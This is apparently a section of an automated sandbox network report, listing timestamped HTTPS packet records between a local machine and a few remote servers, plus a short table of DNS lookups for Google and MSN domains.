Oct 30, 2024 18:06:55.600766897 CET	49959	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.600779057 CET	443	49959	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.606218100 CET	443	49958	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.606765985 CET	49958	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.606794119 CET	443	49958	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.607337952 CET	49958	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.607342958 CET	443	49958	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.623713017 CET	443	49960	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.626128912 CET	49960	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.626163960 CET	443	49960	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.626725912 CET	49960	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.626733065 CET	443	49960	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.687133074 CET	443	49957	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.687206030 CET	443	49957	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.687309980 CET	49957	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.687556028 CET	49957	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.687582016 CET	443	49957	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.687596083 CET	49957	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.687602997 CET	443	49957	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.690898895 CET	49962	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.690944910 CET	443	49962	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.691044092 CET	49962	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.691189051 CET	49962	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.691205025 CET	443	49962	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.738125086 CET	443	49959	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.738210917 CET	443	49959	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.738338947 CET	49959	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.738478899 CET	49959	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.738493919 CET	443	49959	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.738504887 CET	49959	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.738512039 CET	443	49959	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.742237091 CET	49963	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.742283106 CET	443	49963	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.742852926 CET	49963	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.743081093 CET	49963	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.743092060 CET	443	49963	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.746313095 CET	443	49958	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.747627974 CET	443	49958	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.747680902 CET	49958	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.747684002 CET	443	49958	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.747734070 CET	49958	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.747785091 CET	49958	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.747802973 CET	443	49958	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.747814894 CET	49958	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.747819901 CET	443	49958	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.750299931 CET	49964	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.750328064 CET	443	49964	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.750380993 CET	49964	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.750560045 CET	49964	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.750570059 CET	443	49964	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.762804031 CET	443	49960	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.762876034 CET	443	49960	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.763048887 CET	49960	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.763155937 CET	49960	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.763170958 CET	443	49960	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.763185024 CET	49960	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.763191938 CET	443	49960	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.765727043 CET	49965	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.765757084 CET	443	49965	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.765883923 CET	49965	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.766007900 CET	49965	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.766021013 CET	443	49965	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.772782087 CET	443	49956	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:55.773297071 CET	49956	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:55.773305893 CET	443	49956	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:55.774051905 CET	49956	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:55.774055958 CET	443	49956	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:55.774122000 CET	49956	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:55.774131060 CET	443	49956	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:55.857722998 CET	443	49961	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.863449097 CET	49961	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.863467932 CET	443	49961	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.863935947 CET	49961	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.863940001 CET	443	49961	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.997926950 CET	443	49961	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.998187065 CET	443	49961	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.998250008 CET	49961	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.998369932 CET	49961	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.998369932 CET	49961	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:55.998399019 CET	443	49961	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:55.998411894 CET	443	49961	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.001177073 CET	49966	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.001219034 CET	443	49966	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.001319885 CET	49966	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.001466036 CET	49966	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.001477957 CET	443	49966	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.331531048 CET	443	49956	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:56.331552982 CET	443	49956	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:56.331595898 CET	443	49956	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:56.331612110 CET	49956	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:56.331644058 CET	443	49956	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:56.331665039 CET	49956	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:56.332559109 CET	49956	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:56.332576990 CET	443	49956	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:56.332719088 CET	443	49956	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:56.332746983 CET	49956	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:56.332747936 CET	443	49956	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:56.332757950 CET	443	49956	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:56.332801104 CET	49956	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:56.420838118 CET	49967	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:56.420883894 CET	443	49967	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:56.420994997 CET	49967	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:56.421247959 CET	49967	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:56.421262980 CET	443	49967	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:56.457731962 CET	443	49962	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.458266973 CET	49962	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.458287954 CET	443	49962	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.458836079 CET	49962	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.458842039 CET	443	49962	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.544991970 CET	443	49965	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.545583963 CET	49965	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.545598984 CET	443	49965	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.546165943 CET	49965	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.546173096 CET	443	49965	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.546622992 CET	443	49964	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.546946049 CET	49964	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.546966076 CET	443	49964	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.547338963 CET	49964	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.547344923 CET	443	49964	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.548459053 CET	443	49963	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.548724890 CET	49963	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.548736095 CET	443	49963	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.549065113 CET	49963	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.549069881 CET	443	49963	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.604259014 CET	443	49962	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.604290009 CET	443	49962	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.604341030 CET	443	49962	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.604351997 CET	49962	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.604388952 CET	49962	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.604654074 CET	49962	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.604674101 CET	443	49962	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.604691982 CET	49962	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.604700089 CET	443	49962	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.608002901 CET	49968	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.608031034 CET	443	49968	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.608190060 CET	49968	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.608287096 CET	49968	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.608297110 CET	443	49968	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.687968969 CET	443	49964	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.688008070 CET	443	49964	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.688067913 CET	443	49964	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.688076973 CET	49964	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.688129902 CET	49964	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.688422918 CET	49964	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.688440084 CET	443	49964	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.688451052 CET	49964	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.688457012 CET	443	49964	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.690726042 CET	443	49963	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.690814972 CET	443	49963	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.690978050 CET	49963	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.691088915 CET	49963	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.691106081 CET	443	49963	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.691114902 CET	49963	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.691121101 CET	443	49963	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.692354918 CET	49969	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.692400932 CET	443	49969	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.692543030 CET	49969	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.692753077 CET	49969	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.692770004 CET	443	49969	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.693525076 CET	49970	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.693546057 CET	443	49970	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.693820953 CET	49970	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.693943977 CET	49970	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.693957090 CET	443	49970	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.697053909 CET	443	49965	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.697139978 CET	443	49965	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.697268963 CET	49965	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.697333097 CET	49965	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.697354078 CET	443	49965	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.697365046 CET	49965	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.697371960 CET	443	49965	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.699328899 CET	49971	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.699343920 CET	443	49971	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.699548006 CET	49971	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.699670076 CET	49971	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.699682951 CET	443	49971	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.761934042 CET	443	49966	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.762511969 CET	49966	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.762532949 CET	443	49966	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.763237000 CET	49966	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.763245106 CET	443	49966	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.903537989 CET	443	49966	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.903568983 CET	443	49966	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.903625965 CET	443	49966	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.903655052 CET	49966	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.903702974 CET	49966	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.903918982 CET	49966	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.903935909 CET	443	49966	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.903949022 CET	49966	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.903954983 CET	443	49966	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.907104015 CET	49972	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.907147884 CET	443	49972	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.907242060 CET	49972	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.907393932 CET	49972	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:56.907408953 CET	443	49972	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:56.987422943 CET	443	49833	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:56.987591982 CET	443	49833	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:56.987668991 CET	49833	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:56.987708092 CET	443	49834	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:56.987783909 CET	443	49834	162.159.61.3	192.168.2.5
Oct 30, 2024 18:06:56.988037109 CET	49834	443	192.168.2.5	162.159.61.3
Oct 30, 2024 18:06:57.368349075 CET	443	49968	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.369049072 CET	49968	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:57.369071007 CET	443	49968	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.369539022 CET	49968	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:57.369544029 CET	443	49968	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.446993113 CET	443	49970	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.447602987 CET	49970	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:57.447626114 CET	443	49970	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.448200941 CET	49970	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:57.448208094 CET	443	49970	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.459958076 CET	443	49969	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.460522890 CET	49969	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:57.460545063 CET	443	49969	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.461024046 CET	49969	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:57.461029053 CET	443	49969	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.472759962 CET	443	49971	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.473315954 CET	49971	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:57.473330021 CET	443	49971	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.473803997 CET	49971	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:57.473809958 CET	443	49971	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.531881094 CET	443	49968	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.532031059 CET	443	49968	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.532183886 CET	49968	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:57.532310009 CET	49968	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:57.532335043 CET	443	49968	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.532351017 CET	49968	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:57.532358885 CET	443	49968	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.535634041 CET	49973	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:57.535675049 CET	443	49973	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.535756111 CET	443	49967	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:57.535972118 CET	49973	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:57.536160946 CET	49973	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:57.536173105 CET	443	49973	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.536400080 CET	49967	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:57.536421061 CET	443	49967	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:57.537122011 CET	49967	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:57.537127972 CET	443	49967	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:57.537151098 CET	49967	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:57.537159920 CET	443	49967	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:57.582874060 CET	443	49970	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.583200932 CET	443	49970	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.583760977 CET	49970	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:57.585303068 CET	49970	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:57.585321903 CET	443	49970	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.585335016 CET	49970	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:57.585340023 CET	443	49970	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.588685036 CET	49974	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:57.588718891 CET	443	49974	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.588859081 CET	49974	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:57.589013100 CET	49974	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:57.589034081 CET	443	49974	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.599905014 CET	443	49969	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.599935055 CET	443	49969	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.599981070 CET	443	49969	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.600045919 CET	49969	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:57.600239992 CET	49969	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:57.600258112 CET	443	49969	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.600272894 CET	49969	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:57.600279093 CET	443	49969	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.602777004 CET	49975	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:57.602804899 CET	443	49975	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.602926970 CET	49975	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:57.603058100 CET	49975	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:57.603069067 CET	443	49975	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.613842010 CET	443	49971	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.614075899 CET	443	49971	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.614125013 CET	49971	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:57.614156008 CET	49971	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:57.614166021 CET	443	49971	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.614176989 CET	49971	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:57.614181042 CET	443	49971	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.616782904 CET	49976	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:57.616826057 CET	443	49976	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.616976976 CET	49976	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:57.617172956 CET	49976	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:57.617186069 CET	443	49976	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.676104069 CET	443	49972	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.680141926 CET	49972	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:57.680165052 CET	443	49972	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.680686951 CET	49972	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:57.680694103 CET	443	49972	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.815843105 CET	443	49972	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.815933943 CET	443	49972	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.816001892 CET	49972	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:57.816242933 CET	49972	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:57.816262960 CET	443	49972	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.816299915 CET	49972	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:57.816307068 CET	443	49972	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.820043087 CET	49977	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:57.820095062 CET	443	49977	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.820163965 CET	49977	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:57.820323944 CET	49977	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:57.820334911 CET	443	49977	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:57.903903008 CET	443	49967	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:57.903937101 CET	443	49967	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:57.903980970 CET	443	49967	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:57.904006004 CET	49967	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:57.904021978 CET	443	49967	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:57.904061079 CET	49967	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:57.904644012 CET	49967	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:57.904659033 CET	443	49967	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:57.904694080 CET	49967	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:57.904845953 CET	443	49967	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:57.904885054 CET	443	49967	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:57.904941082 CET	49967	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:57.990655899 CET	49978	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:57.990703106 CET	443	49978	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:57.990803957 CET	49978	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:57.991187096 CET	49978	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:57.991204977 CET	443	49978	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:58.289772987 CET	443	49973	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:58.290380001 CET	49973	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:58.290407896 CET	443	49973	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:58.291035891 CET	49973	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:58.291040897 CET	443	49973	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:58.342391014 CET	443	49974	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:58.344494104 CET	443	49975	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:58.358546019 CET	49974	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:58.358562946 CET	443	49974	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:58.359333038 CET	49974	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:58.359338045 CET	443	49974	13.107.253.45	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 30, 2024 18:06:27.390916109 CET	192.168.2.5	1.1.1.1	0x99d1	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 18:06:27.391062021 CET	192.168.2.5	1.1.1.1	0xab96	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 30, 2024 18:06:34.767092943 CET	192.168.2.5	1.1.1.1	0xc7	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 18:06:34.767602921 CET	192.168.2.5	1.1.1.1	0x687a	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Oct 30, 2024 18:06:36.305957079 CET	192.168.2.5	1.1.1.1	0x14f6	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 18:06:36.307549000 CET	192.168.2.5	1.1.1.1	0x6cb1	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Oct 30, 2024 18:06:37.459052086 CET	192.168.2.5	1.1.1.1	0x25c	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 18:06:37.459489107 CET	192.168.2.5	1.1.1.1	0x615e	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Oct 30, 2024 18:06:37.473841906 CET	192.168.2.5	1.1.1.1	0x2db9	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 18:06:37.473982096 CET	192.168.2.5	1.1.1.1	0x6e80	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
